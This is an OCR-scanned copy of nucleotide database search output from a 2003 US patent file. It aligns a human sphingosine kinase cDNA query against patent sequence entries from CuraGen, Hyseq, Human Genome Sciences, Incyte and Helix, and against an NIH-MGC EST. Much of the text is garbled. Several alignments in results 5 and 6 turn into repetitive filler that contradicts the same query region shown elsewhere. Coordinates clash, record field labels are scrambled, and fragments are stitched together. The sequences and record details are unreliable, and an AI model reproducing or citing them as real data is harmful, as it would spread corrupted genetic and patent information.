DB 623 GAACGGGCTCATGAGAGCGGCT 644

RESULT 15
BM808666 1134 bp mRNA linear EST 05-MAR-2002
LOCUS AGENCOURT_6582812 NIH_MGC_41 Homo sapiens cDNA clone IMAGE:5471254
DEFINITION 5', mRNA sequence.
ACCESSION BM808666
VERSION BM808666.1 GI:19125489
KEYWORDS EST.
SOURCE human.
ORGANISM Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Hominiidae; Homo.
REFERENCE 1 (bases 1 to 1134)
AUTHORS NIH-MGC http://mgi.nci.nih.gov/
TITLE National Institutes of Health, Mammalian Gene Collection (MGC)
JOURNAL Unpublished (1999)
COMMENT Contact: Robert Strausberg, Ph.D.
Email: cgaabs-remail.nih.gov
Tissue Procurement: DCTD/DRP
cDNA Library Preparation: Rubin Laboratory
DNA Sequencing by: Agencourt Bioscience Corporation
Clone distribution: MGC clone distribution information can be
found through the I.M.A.G.E. Consortium/LLNL at:
http://image.llnl.gov
Plate: LHM1979 row: h column: 15
High quality sequence start: 18
High quality sequence stop: 559.
Location/Qualifiers
1. 1134
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone="IMAGE:5471254"
/clone_lib="NIH_MGC_41"
/tissue_type="melanotic melanoma, cell line"
/lab_host="DH10B (phage-resistant)"

FEATURES
Source
```

/note="Organ: skin; Vector: pOTB7; Site_1: XhoI; Site_2:
EcoRI; cDNA made by oligo-dT priming. Directionally cloned
into EcoRI/XhoI sites using the following 5' adaptor:
GGCAGAG(G). Library constructed by Ling Hong in the
laboratory of Gerald M. Rubin (University of California,
Berkeley) using ZAP-cDNA synthesis kit (Stratagene) and
Superscript II RT (Life Technologies). Note: this is a
NIH-MGC library."

BASE COUNT 186 a 382 c 373 g 193 t
ORIGIN

Query Match 24.5%; Score 391; DB 14; Length 1134;
Best Local Similarity 100.0%; Pred. No. 2.3e-176;
Matches 391; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

```
OY 18 AGCCACGGCTCCGGGCGGGGAAGGAGAGCCCGCCACAGCGGCGCCCTCGAGCGCCCGCTGGG 77
    |||||||
DB 222 AGCCACGGCTCCGGGCGGGGAAGGAGAGCCCGCCACAGCGGCGCCCTCGAGCGCCCGCTGGG 281
    |||||||
OY 78 CAGCACCAGTAAGAGAGCTGAAGGAGAGAGCCCGCCACAGCGGCGCCCGCCCGCCAGCGGC 137
    |||||||
DB 282 CAGCACCAGTAAGAGAGCTGAAGGAGAGAGCCCGCCACAGCGGCGCCCGCCCGCCAGCGGC 341
    |||||||
OY 138 AGGACCCCGCTGGCAGCGGAGCCCGGGTCTGAGGTATGATCCAGCGGCGGCGCCCGC 197
    |||||||
DB 342 AGGACCCCGCTGGCAGCGGAGCCCGGGTCTGAGGTATGATCCAGCGGCGGCGCCCGC 401
    |||||||
OY 198 GGGCGTGTCTCCCGCGGCGCTGCGGTGTGTCTGTGAACCGCGCGGCGCAAGGG 257
    |||||||
DB 402 GGGCGTGTCTCCCGCGGCGCTGCGGTGTGTGTGAACCGCGCGGCGCAAGGG 461
    |||||||
OY 258 CAAGGCTTTGACAGCTCTTCCGAGTACAGTGCAGCCCTTTGGCTGAGGCGTGAATCTC 317
    |||||||
DB 462 CAAGGCTTTGACAGCTCTTCCGAGTACAGTGCAGCCCTTTGGCTGAGGCGTGAATCTC 521
    |||||||
OY 318 CTTACAGCTGATGCTACAGTGAAGCGGAGAACCCAGCGCGGAGAGTGTGCGGTGAGAGA 377
    |||||||
DB 522 CTTACAGCTGATGCTACAGTGAAGCGGAGAACCCAGCGCGGAGAGTGTGCGGTGAGAGA 581
    |||||||
OY 378 GCTGGGCGGCTGGAGCGCTCTGTGTCATG 408
    |||||||
DB 582 GCTGGGCGGCTGGAGCGCTCTGTGTCATG 612
    |||||||
```

Search completed: July 12, 2003, 18:00:18
Job time : 2389 secs

THIS PAGE BLANK (USPTO)

GenCore version 5.1.6
Copyright (c) 1993 - 2003 Compugen Ltd.

OM nucleic - nucleic search, using sw model

Run on: July 12, 2003, 14:08:57 ; Search time 378 Seconds

(without alignments)
9526.310 Million cell updates/sec

Title: US-09-784-810A-1_COPY_2_1600

Perfect score: 1599
Sequence: 1 cccccgggggctctatagc.....aataaagtcattcccaa 1599

Scoring table: OLIGO_NUC

Gapop 60.0 , Gapext 60.0

Searched: 2185239 seqs, 112599159 residues

Word size : 0

Total number of hits satisfying chosen parameters: 4370478

Minimum DB seq length: 0

Maximum DB seq length: 2000000000

Post-processing: Listing first 45 summaries

Database : N.Geneseq_101002.*

1: /SID2/gcgdata/geneseq/geneseq-emb1/NA1980.DAT:*
2: /SID2/gcgdata/geneseq/geneseq-emb1/NA1981.DAT:*
3: /SID2/gcgdata/geneseq/geneseq-emb1/NA1982.DAT:*
4: /SID2/gcgdata/geneseq/geneseq-emb1/NA1983.DAT:*
5: /SID2/gcgdata/geneseq/geneseq-emb1/NA1984.DAT:*
6: /SID2/gcgdata/geneseq/geneseq-emb1/NA1985.DAT:*
7: /SID2/gcgdata/geneseq/geneseq-emb1/NA1986.DAT:*
8: /SID2/gcgdata/geneseq/geneseq-emb1/NA1987.DAT:*
9: /SID2/gcgdata/geneseq/geneseq-emb1/NA1988.DAT:*
10: /SID2/gcgdata/geneseq/geneseq-emb1/NA1989.DAT:*
11: /SID2/gcgdata/geneseq/geneseq-emb1/NA1990.DAT:*
12: /SID2/gcgdata/geneseq/geneseq-emb1/NA1991.DAT:*
13: /SID2/gcgdata/geneseq/geneseq-emb1/NA1992.DAT:*
14: /SID2/gcgdata/geneseq/geneseq-emb1/NA1993.DAT:*
15: /SID2/gcgdata/geneseq/geneseq-emb1/NA1994.DAT:*
16: /SID2/gcgdata/geneseq/geneseq-emb1/NA1995.DAT:*
17: /SID2/gcgdata/geneseq/geneseq-emb1/NA1996.DAT:*
18: /SID2/gcgdata/geneseq/geneseq-emb1/NA1997.DAT:*
19: /SID2/gcgdata/geneseq/geneseq-emb1/NA1998.DAT:*
20: /SID2/gcgdata/geneseq/geneseq-emb1/NA1999.DAT:*
21: /SID2/gcgdata/geneseq/geneseq-emb1/NA2000.DAT:*
22: /SID2/gcgdata/geneseq/geneseq-emb1/NA2001A.DAT:*
23: /SID2/gcgdata/geneseq/geneseq-emb1/NA2001B.DAT:*
24: /SID2/gcgdata/geneseq/geneseq-emb1/NA2002.DAT:*

Pred. No. is the number of results predicted by chance to have a
score greater than or equal to the score of the result being printed,
and is derived by analysis of the total score distribution.

SUMMARIES

Result No.	Score	Query Match	Length	DB ID	Description
1	1599	100.0	1600	22	AAD14424
2	624	39.0	1438	22	AA159336
3	624	39.0	1533	20	AAV84490
4	624	39.0	1533	22	ABA83273
5	623	39.0	1562	24	ABL90618
6	623	39.0	1573	21	AA475676
7	623	39.0	1821	22	AAH16552
8	590	36.9	1772	22	AAH16415
9	524	32.8	1719	22	AAH04477

10	452	28.3	1205	22	AAC84161
11	451	28.2	1173	22	ABL59532
12	440	27.5	587	22	AAH10443
13	420	26.3	1447	21	AA550508
14	406	25.4	1200	22	AA161122
15	381	23.8	675	22	AAH07214
16	288	18.0	604	22	AAH04943
17	240	15.0	240	22	AAD04478
18	192	12.0	296	22	AA524477
19	192	12.0	296	22	AAH83083
20	191	11.9	394	22	ABL66446
21	60	3.8	60	24	ABN41630
22	30	1.9	30	24	ABL60764
23	25	1.6	25	21	AA50512
24	25	1.6	25	21	AA50513
25	25	1.6	1559	21	AA247168
26	25	1.6	1759	22	AAD14425
27	25	1.6	1815	21	AA247167
28	24	1.5	24	21	AA50514
29	22	1.4	2932	24	ABK34670
30	21	1.3	27	24	ABL60763
31	21	1.3	4403765	22	AA19683
32	21	1.3	4411529	22	AA19682
33	20	1.3	20	24	ABL60762
34	20	1.3	333	21	AA681805
35	20	1.3	10952	17	AAAT3345
36	20	1.3	10952	19	AAV41162
37	20	1.3	10952	20	AAK17696
38	19	1.2	26	22	AA684164
39	19	1.2	52	22	AA684164
40	19	1.2	278	14	AA060903
41	19	1.2	363	23	AA570395
42	19	1.2	363	23	AA570625
43	19	1.2	363	23	AA578681
44	19	1.2	363	23	AA592440
45	19	1.2	382	23	AA566961

ALIGNMENTS

RESULT 1	
AAD14424	
ID	AAD14424 standard; cDNA; 1600 BP.
AC	AAD14424;
XX	
DT	01-NOV-2001 (first entry)
XX	
DE	Human sphingosine kinase (Spk) cDNA #1.
XX	
KW	Human; sphingosine kinase; Spk; restenosis; ischaemia; gene therapy;
KW	antitense therapy; cancer; sphingolipid; signalling molecule; apoptosis;
KW	cytostatic; tumour necrosis factor- α ; TNF; atherosclerosis; lymphoma;
KW	leukaemia; vasotrophic; cell proliferative disorder; vascular disease; ss.
OS	Homo sapiens.
XX	
PH	Key
FT	Location/Qualifiers
FT	176..1330
FT	/*tag= a
FT	/product= "Human sphingosine kinase (Spk) protein #1"
XX	
PN	W0200160990-A2.
XX	
PD	23-AUG-2001.
XX	
PE	14-FEB-2001; 2001WO-US04789.
XX	
PR	14-FEB-2000; 2000US-0182360.
PR	22-MAR-2000; 2000US-0191261.
XX	
PA	(CURA-) CURAGEN CORP.

Human sphingosine
Human sphingosine
Human cDNA clone (
Human sphingosine
Human polynucleoti
Human cDNA clone (
Human cDNA clone (
Conserved region D
Human ovarian PCR-
Human ovarian tumo
Lung cancer relate
Human SPK1 cDNA c
Sphingosine kinase
Sphingosine kinase
Mouse sphingosine
Mouse consensus sp
Mouse sphingosine
Sphingosine kinase
Human cDNA for nov
Human SPK1 cDNA c
Mycobacterium tube
Mycobacterium tube
Human SPK1 cDNA c
Human S100A5 cDNA.
Human CAPL gene.
Human CAPL gene.
Human CAPL genomic
Human sphingosine
Human brain Expres
DNA encoding novel
DNA encoding novel
DNA encoding novel
DNA encoding novel
DNA encoding novel

XX	22-OCT-2001	(first entry)
DT		
XX		
DE	Human polynucleotide SEQ ID NO 1539.	
XX		
KW	Human; nootropic; immunosuppressant; cytostatic; gene therapy; cancer;	
KW	peripheral nervous system; neuropathy; central nervous system; CNS;	
KW	Alzheimer's, Parkinson's disease, Huntington's disease; haemostatic;	
KW	amyotrophic lateral sclerosis; Shy-Drager Syndrome; chemotactic;	
KW	chemokine; thrombolytic; drug screening; arthritis; inflammation;	
KW	leukemia; ss.	
OS		
XX	Homo sapiens.	
XX		
PN	WO200153312-A1.	
XX		
XX	26-JUL-2001.	
XX		
PE	26-DEC-2000; 2000WO-US4263.	
XX		
XX	21-JAN-2000; 2000US-0488725.	
PR	25-APR-2000; 2000US-0552317.	
PR	09-JUL-2000; 2000US-0598042.	
PR	19-JUL-2000; 2000US-0620312.	
PR	03-AUG-2000; 2000US-0653450.	
PR	14-SEP-2000; 2000US-0662191.	
PR	19-OCT-2000; 2000US-0693036.	
PR	29-NOV-2000; 2000US-0727344.	
XX		
PA	(HYSE-) HYSEQ INC.	
PI	Tang YT, Liu C, Asundi V, Chen R, Ma Y, Qian XB, Ren F, Wang D;	
PI	Wang J, Wang Z, Wehrman T, Xu C, Xue AJ, Yang Y, Zhang J;	
PI	Zhao QA, Zhou P, Goodrich R, Drmanac RT;	
XX		
DR	WPI: 2001-442253/47.	
DR	P-PSDB: AAM40180.	
XX		
PT	Novel nucleic acids and polypeptides, useful for treating disorders	
PT	such as central nervous system injuries -	
XX		
PS	Claim 1; SEQ ID NO 1539; 10078pp; English.	
XX		
CC	The invention relates to human nucleic acids (AA157798-AA161369) and	
CC	the encoded polypeptides (AAM38642-AAM42213) with nootropic,	
CC	immunosuppressant and cytostatic activity. The polynucleotides are useful	
CC	in gene therapy. A composition containing a polypeptide or polynucleotide	
CC	of the invention may be used to treat diseases of the peripheral nervous	
CC	system, such as peripheral nervous injuries, peripheral neuropathy and	
CC	localised neuropathies and central nervous system diseases, such as	
CC	Alzheimer's, Parkinson's disease, Huntington's disease, amyotrophic	
CC	lateral sclerosis, and Shy-Drager Syndrome. Other uses include the	
CC	utilisation of the activities such as: Immune system suppression,	
CC	Activin/inhibin activity, chemotactic/chemokinetic activity, haemostatic	
CC	and thrombolytic activity, cancer diagnosis and therapy, drug screening,	
CC	assays for receptor activity, arthritis and inflammation, Leukaemias and	
CC	C.N.S disorders.	
CC	Note: The sequence data for this patent did not form part of the printed	
CC	specification.	
XX		
XX	Sequence 1438 BP; 251 A; 428 C; 463 G; 296 T; 0 other;	
XX		
Query Match	39.0%; Score 624; DB 22; Length 1438;	
Best Local Similarity	99.9%; Pred. No. 7.6e-272;	
Matches 674; Conservative 0; Mismatches 1; Indels 0; Gaps 0;		
0Y	925 GTGGTCCCGACGAGGACTTTGTGCTAGTCTCTGGCACTGTGCACTGGCACCTGGCCACT	984
Db	751 GTGGTCCCGACGAGGACTTTGTGCTAGTCTCTGGCACTGTGCACTGGCACCTGGCCACT	810
0Y	985 GAGAGTGTGTGTGACACCATGGGCGCGTGTGACACTGGCGGCATGCACTGTCTACGCTG	1044
Db	811 GAGAGTGTGTGTGACACCATGGGCGCGTGTGACACTGGCGGCATGCACTGTCTACGCTG	870

QY		1045	CGGGCGGGAGTGTCTCGGCCATGCTGTGTGGCCCTTTCGCGGCATGAGAAAGGACAGG	1104
Db		871	CGGGCGGGAGTGTCTCGGCCATGCTGTGTGGCCCTTTCGCGGCATGAGAAAGGACAGG	930
QY		1105	CATATGAGATGTATGATGCCCTTACTTGGTATATATGTGCCCGTGTGCCCTTCCGTTGGAG	1164
Db		931	CATATGAGATGTATGATGCCCTTACTTGGTATATATGTGCCCGTGTGCCCTTCCGTTGGAG	990
QY		1165	CCCAAGGATGGGAAAGTGTTGTTTGCAGTGGATGGGGAATTGATGTTAGCGAGGCCGTG	1224
Db		991	CCCAAGATGTGGAAAGTGTTGTTTGCAGTGGATGGGGAATTGATGTTAGCGAGGCCGTG	1050
QY		1225	CAGGGCCAGGTGCAACCCAACTACTTTCGATGTGGATGGTGCACGGTTGGTGGAGCCCCGGCC	1284
Db		1051	CAGGGCCAGGTGCAACCCAACTACTTTCGATGTGGATGGTGCACGGTTGGTGGAGCCCCGGCC	1110
QY		1285	AGCTGGAAGCCCCAGCAGATGCCAACCAGCAGAGAGCCCTTATGACCCCTTGCGCGCGCT	1344
Db		1111	AGCTGGAAGCCCCAGCAGATGCCAACCAGCAGAGAGCCCTTATGACCCCTTGCGCGCGCT	1170
QY		1345	GTGGCTTAGTGTACTACTTGCAGAGACCTTCTCCCTTCCCTAGGGGTGCAGGGCCGTGTCA	1404
Db		1171	GTGGCTTAGTGTACTACTTGCAGAGACCTTCTCCCTTCCCTAGGGGTGCAGGGCCGTGTCA	1230
QY		1405	CAGCTCTGTGTGGGGTGGAGAGACCTCTCTGAGAAAGGTGAGAAAGGTGAGAGCTATGC	1464
Db		1231	CAGCTCTGTGTGGGGTGGAGAGACCTCTCTGAGAAAGGTGAGAAAGGTGAGAGCTATGC	1290
QY		1465	TTTGGGGGGACAGGCGCAGATGAAAGTCTGGGTCAGAGAGCCAGCTGGCTGGGCCACCT	1524
Db		1291	TTTGGGGGGACAGGCGCAGATGAAAGTCTGGGTCAGAGAGCCAGCTGGCTGGGCCACCT	1350
QY		1525	GCCATATGAAGGCTTCTAGTTTGTTCGAGAACCCGCCACGACCAACCAATCCAAATA	1584
Db		1351	GCCATATGAAGGCTTCTAGTTTGTTCGAGAACCCGCCACGACCAACCAATCCAAATA	1410
QY		1585	AAGTGACATTTCCCAA 1599	
Db		1411	AAGTGACATTTCCCAA 1425	
RESULT 3				
AAV84490				
ID	AAV84490	standard; DNA; 1533 BP.		
XX	AAV84490;			
AC				
XX	01-MAR-1999	(first entry)		
DT				
XX				
DE	Human secreted protein gene 80 clone HNF454.			
XX				
KW	Human; secreted protein; fusion protein; gene therapy; protein therapy;			
KW	diagnosis; tissue; cancer; tumour; neurodegenerative disorder; leukaemia;			
KW	developmental abnormality; foetal deficiency; blood; allergy; renal; ds;			
KW	immune system; asthma; lymphocytic disease; brain; hepatic; lymphoma;			
KW	inflammation; ischaemic shock; Alzheimer's disease; restenosis; AIDS;			
KW	cognitive disorder; schizophrenia; prostate; obesity; osteoclast; thymus;			
KW	osteoporosis; arthritis; testis; lung; thyroiditis; thyroid; digestion;			
KW	endocrine; metabolism; regulation; malabsorption; gastritis; neoplasm.			
XX				
OS	Homo sapiens.			
XX				
PN	MO9854963-A2.			
XX				
PD	10-DEC-1998.			
XX				
PF	04-JUN-1998;	98WO-US11422.		
XX				
PR	18-DEC-1997;	97US-0070923.		
PR	06-JUN-1997;	97US-0048877.		
PR	06-JUN-1997;	97US-0048881.		
PR	06-JUN-1997;	97US-0048884.		

DB 1484 AAGTGACATTCACCA 1498

RESULT 5

AB190618/c
ID ABL90618 standard; cDNA; 1562 BP.

XX ABL90618;

XX 24-MAY-2002 (first entry)

XX Human polynucleotide SEQ ID NO 1180.

XX Cytostatic; immunosuppressive; nootropic; neuroprotective; antiviral;
XX antiallergic; hepatotropic; antidiabetic; antinflammatory; antitumor;
XX antiviral; anticonvulsant; antibacterial; antifungal; antiparasitic;
XX cardiast; gene therapy; cancer; immune disorder; cardiovascular disorder;
XX neurological disease; infection; human; secreted protein; gene; ss.

XX Homo sapiens.

XX WO200190304-A2.

XX 29-NOV-2001.

XX 18-MAY-2001; 2001MO-US16450.

XX 19-MAY-2000; 2000US-205515P.

XX (HUMA-) HUMAN GENOME SCI INC.

XX Birse CE, Rosen CA;

XX WPI; 2002-122018/16.

XX P-PSDB; ABB90209.

XX Novel 1405 isolated polypeptides, useful for diagnosis, treatment and

XX prevention of neural, immune system, muscular, reproductive, and

XX gastrointestinal, pulmonary, cardiovascular, renal and proliferative

XX disorders.

XX Claim 4; SEQ ID NO 1180; 2081bp + Sequence Listing; English.

XX The invention relates to novel genes (ABL89449-ABL90853) and proteins
XX (AB89040-AB89044) useful for preventing, treating or ameliorating
XX medical conditions e.g. by protein or gene therapy. The genes are
XX isolated from a range of human tissues disclosed in the specification.
XX The nucleic acids, proteins, antibodies and (ant)agonists are useful
XX in the diagnosis, treatment and prevention of: (a) cancer, e.g. breast
XX and ovarian cancer and other cancers of the adrenal gland, bone, bone
XX marrow, breast, gastrointestinal tract, liver, lung, or urogenital;
XX (b) immune disorders e.g. Addison's disease, diabetes mellitus, Crohn's
XX disease, multiple sclerosis, rheumatoid arthritis and ulcerative
XX colitis; (c) cardiovascular disorders such as myocardial ischaemia;
XX (d) wound healing; (e) neurological diseases e.g. cerebral anoxia and
XX epilepsy; and (f) infectious diseases such as viral, bacterial, fungal
XX and parasitic infections.
XX Note: The sequence data for this patent did not form part of the
XX printed specification, but was obtained in electronic format directly
XX from WPI at ftp.wipo.int/pub/published_pcr_sequences.

XX Sequence 1562 BP; 328 A; 499 C; 459 G; 273 T; 3 other:

XX Query Match 39.0%; Score 623; DB 24; Length 1562;

XX Best Local Similarity 99.98%; Pred. No. 2.1e-271;

XX Matches 673; Conservative 0; Mismatches 1; Indels 0; Gaps 0;

OY 925 GTGGTGGCCGACAGAGACTTTGTGCTAGCTGCGACCTGCGACCTGGGCGAGT 984
DB 712 GTGGTGGCCGACAGAGACTTTGTGCTAGCTGCGACCTGCGACCTGGGCGAGT 653
OY 985 GAGATGTTTCTGACCCACATGCGCGCTGTGACGCTGACGATCATCTTACGCTG 1044

DB 652 GAGATGTTTCTGACCCACATGCGCGCTGTGACGCTGACGATCATCTTACGCTG 593

OY 1045 CGGGCGGAGAGTGTCTGTCGATGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1104

DB 592 CGGGCGGAGAGTGTCTGTCGATGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 533

OY 1105 CATATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATG 1164

DB 532 CATATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATG 473

OY 1165 CCCAAGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATG 1224

DB 472 CCCAAGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATG 413

OY 1225 CAGGCGGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATG 1284

DB 412 CAGGCGGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATG 353

OY 1285 AGCTGGAAGGCGGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATG 1344

DB 352 AGCTGGAAGGCGGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATG 293

OY 1345 GTGCTTATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATG 1404

DB 292 GTGCTTATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATG 233

OY 1405 CAGCTCCTGTGAGGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATG 1464

DB 232 CAGCTCCTGTGAGGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATG 173

OY 1465 TTTGGGGGAGGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATG 1524

DB 172 TTTGGGGGAGGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATG 113

OY 1525 GCGATATGAGGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATG 1584

DB 112 GCGATATGAGGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATGAGATG 53

OY 1585 AAGTGACATTCOCA 1598

DB 52 AAGTGACATTCOCA 39

RESULT 6

AAA75676
AAA75676 standard; DNA; 1573 BP.

AC AAA75676;

DT 22-JAN-2001 (first entry)

XX DNA encoding a human regulator of intracellular phosphorylation.

XX Human; intracellular phosphorylation regulator; HRIP; stroke; myeloma;

XX neurological disorder; Parkinson's disease; demyelinating disease;

XX meningitis; developmental disorder; neuromuscular disorder; cancer;

XX myasthenia gravis; cell proliferative disorder; actinic keratosis;

XX arteriosclerosis; atherosclerosis; leukemia; melanoma; bronchitis;

XX autoimmune disorder; inflammatory disorder; Addison's disease;

XX acquired immunodeficiency disease; allergy; diabetes mellitus;

XX rheumatoid arthritis; microbial infection; trauma; ss.

OS Homo sapiens.
Key Location/Qualifiers
CDS 130..1284
/tag- a
/product- "regulator of intracellular phosphorylation"
MO200055332-A2.
21-SEP-2000.

```

XX 17-MAR-2000; 2000WO-US07277.
XX
XX 18-MAR-1999; 99US-0125593.
XX 20-MAY-1999; 99US-0135049.
XX 09-JUL-1999; 99US-0143188.
XX
XX (INCY-) INCYTE PHARM INC.
XX
XX Bandman O, Tang YT, Yue H, Hillman JL, Baughn MR, Azimzal Y,
XX Lu DM, Au-Young J;
XX WPI: 2000-602121/57.
XX P-PSDB; AAB18659.
XX
XX Novel human intracellular phosphorylation regulator polypeptides and
XX polynucleotides for diagnosis, prevention and treatment of
XX neurological, cell proliferative and autoimmune/inflammatory disorders
XX
XX
XX PS Claim 4; Page 89; 96pp; English.
XX
XX The present sequence encodes a human regulator of intracellular
XX phosphorylation (HRIP). HRIP is useful for screening agonists and
XX antagonists of HRIP polypeptide. HRIP and its agonist or antagonist
XX are useful for treating a disease or condition associated with
XX decreased or increased expression of functional HRIP. Diseases treated
XX or diagnosed include neurological disorders such as stroke, Parkinson's
XX disease, demyelinating diseases, bacterial and viral meningitis and
XX other developmental disorders of the central nervous system,
XX neuromuscular disorders, myasthenia gravis, cell proliferative disorders
XX such as actinic keratosis, arteriosclerosis, atherosclerosis and cancer
XX including leukemia, melanoma, myeloma and cancer of the adrenal gland,
XX bladder, bone, bone marrow, liver, lung, muscle, ovary, autoimmune/
XX inflammatory disorder such as Addison's disease, acquired
XX immunodeficiency diseases, allergies, bronchitis, diabetes mellitus,
XX rheumatoid arthritis, microbial infection and trauma.
XX
XX Sequence 1573 BP; 274 A; 480 C; 514 G; 305 T; 0 other:
XX
XX Query Match 39.0%; Score 623; DB 21; Length 1573;
XX Best Local Similarity 99.9%; Pred. No. 2.1e-271;
XX Matches 673; Conservative 0; Mismatches 1; Indels 0; Gaps 0;
XX
XX 925 GTGCTGCCGCGAGGAGCTTGTCTAGTCTCTGACACTGCTGCACCTGCGACCTGCCAGT 984
XX |||||||
XX 880 GTGGTGCCTCCGACGAGACTTGTCTAGTCTCTGACACTGCTGCACCTGCGACCTGCCAGT 939
XX |||||||
XX 985 GAGATGTTTGTGACACCATGAGGCGCTGTGACAGTGCATGATGATCTTCTACGTG 1044
XX |||||||
XX 940 GAGATGTTTGTGACACCATGAGGCGCTGTGACAGTGCATGATGATCTTCTACGTG 999
XX |||||||
XX 1045 CGGGCGGAGTGTCTGTCGTCATGCTGTCGCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT 1104
XX |||||||
XX 1000 CGGGCGGAGTGTCTGTCGTCATGCTGTCGCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT 1059
XX |||||||
XX 1105 CATATGAGTATGATGCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT 1164
XX |||||||
XX 1060 CATATGAGTATGATGCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT 1119
XX |||||||
XX 1165 CCCAAGGATGGAGAGGAGTGTGACAGTGTGAGGAGTGTGAGGAGGAGGAGGAGGAGGAGG 1224
XX |||||||
XX 1120 CCCAAGGATGGAGAGGAGTGTGACAGTGTGAGGAGTGTGAGGAGGAGGAGGAGGAGGAGG 1179
XX |||||||
XX 1225 CAGGGCCAGTGTGACACCAACTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT 1284
XX |||||||
XX 1180 CAGGGCCAGTGTGACACCAACTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT 1239
XX |||||||
XX 1285 AGCTGGAAGCCCGACGAGATGCCACCGCAGAGAGCCCTTATGACCCCTGGGCGGCT 1344
XX |||||||
XX 1240 AGCTGGAAGCCCGACGAGATGCCACCGCAGAGAGCCCTTATGACCCCTGGGCGGCT 1299
XX |||||||
XX 1345 GTGCTTATGCTCTACTTGTGACAGACCTTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCA 1404

```

```

DB 1300 GTGCTTATGCTCTACTTGTGACAGACCTTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCA 1359
DB 1405 CAGTCTCTGTGGGGGTGAGAGACCTCTCTGAGAGAGGAGTGTGAGACAGTGTGAGTGTG 1464
DB 1360 CAGTCTCTGTGGGGGTGAGAGACCTCTCTGAGAGAGGAGTGTGAGACAGTGTGAGTGTG 1419
DB 1465 TTGCGGGGACAGCCGACGAATGAGTGTGAGAGAGGAGTGTGAGAGGAGTGTGAGAGGAGT 1524
DB 1420 TTGCGGGGACAGCCGACGAATGAGTGTGAGAGAGGAGTGTGAGAGGAGTGTGAGAGGAGT 1479
DB 1525 GCCTATGTAAGGCTTCTAGTGTGAGAGACCCGACCCGACGAGACCAATTCATAATA 1584
DB 1480 GCCTATGTAAGGCTTCTAGTGTGAGAGACCCGACCCGACGAGACCAATTCATAATA 1539
DB 1585 AAGTGACATTCCTCA 1598
DB 1540 AAGTGACATTCCTCA 1553

RESULT 7
AAH15652
ID AAH15652 standard; CDNA: 1821 BP.
XX
XX AAH15652;
XX
XX 26-JUN-2001 (first entry)
XX
XX Human cDNA sequence SEQ ID NO:13996;
XX
XX Human; primer; detection; diagnosis; antisense therapy; gene therapy; ss.
XX
XX Homo sapiens.
XX
XX EP1074617-A2.
XX
XX 07-FEB-2001.
XX
XX 28-JUL-2000; 2000EP-0116126.
XX
XX 29-JUL-1999; 99JP-0248036.
XX 27-AUG-1999; 99JP-0300253.
XX 11-JAN-2000; 2000JP-0118776.
XX 02-MAY-2000; 2000JP-0183767.
XX 09-JUN-2000; 2000JP-0241899.
XX
XX (HELI-) HELIX RES INST.
XX
XX Ota T, Isogai T, Nishikawa T, Hayashi K, Saito K, Yamamoto J;
XX Ishii S, Sugiyama T, Wakamatsu A, Nagai K, Otsuki T;
XX WPI: 2001-318749/34.
XX
XX Primer sets for synthesizing polynucleotides, particularly the 5602
XX full-length cDNAs defined in the specification, and for the detection
XX and/or diagnosis of the abnormality of the proteins encoded by the
XX full-length cDNAs -
XX
XX Claim 8; SEQ ID 13996; 2537bp + CD ROM; English.
XX
XX The present invention describes primer sets for synthesizing 5602
XX full-length cDNAs defined in the specification, where a primer set
XX comprises: (a) an oligo-dT primer and an oligonucleotide complementary
XX to the complementary strand of a polynucleotide which comprises one of
XX the 5602 nucleotide sequences defined in the specification, where the
XX oligonucleotide comprises at least 15 nucleotides; or (b) a combination
XX of an oligonucleotide comprising a sequence complementary to the
XX complementary strand of a polynucleotide which comprises a 5'-end
XX sequence and an oligonucleotide comprising a sequence complementary to a
XX polynucleotide which comprises a 3'-end sequence, where the
XX oligonucleotide comprises at least 15 nucleotides and the combination of
XX the 5'-end sequence/3'-end sequence is selected from those defined in
XX the specification. The primer sets can be used in antisense therapy and

```


Oy	198	GGGGGTGTCCTCCGGGGCCCTGGCCGGCTGTGTGTGTGTGAACCCGGCGGGCAAGG	257
Db	373	GGGGGTGTCTCCCGGGCCCTGGCCGGCTGTGTGTGTGAACCCGGCGGGCAAGG	432
Oy	258	CAAGGCGTTGACACTTTTCCGGAGTCAGTCGAGCCCTTTTGGCTGAGGCTGAATCTC	317
Db	433	CAAGGCGTTGACACTTTTCCGGAGTCAGTCGAGCCCTTTTGGCTGAGGCTGAATCTC	432
Oy	318	CTTCACGCTGATGCTCTACTGAGCGGGCGGAACACGCGGGAGCTGTGTGCTGGAGGA	377
Db	493	CTTCACGCTGATGCTCTACTGAGCGGGCGGAACACGCGGGAGCTGTGTGCTGGAGGA	552
Oy	378	GCTGGGCGCTGGGAGCTCTGTGTGTATGTCTTGAGACGGCTGATGACAGGTGT	437
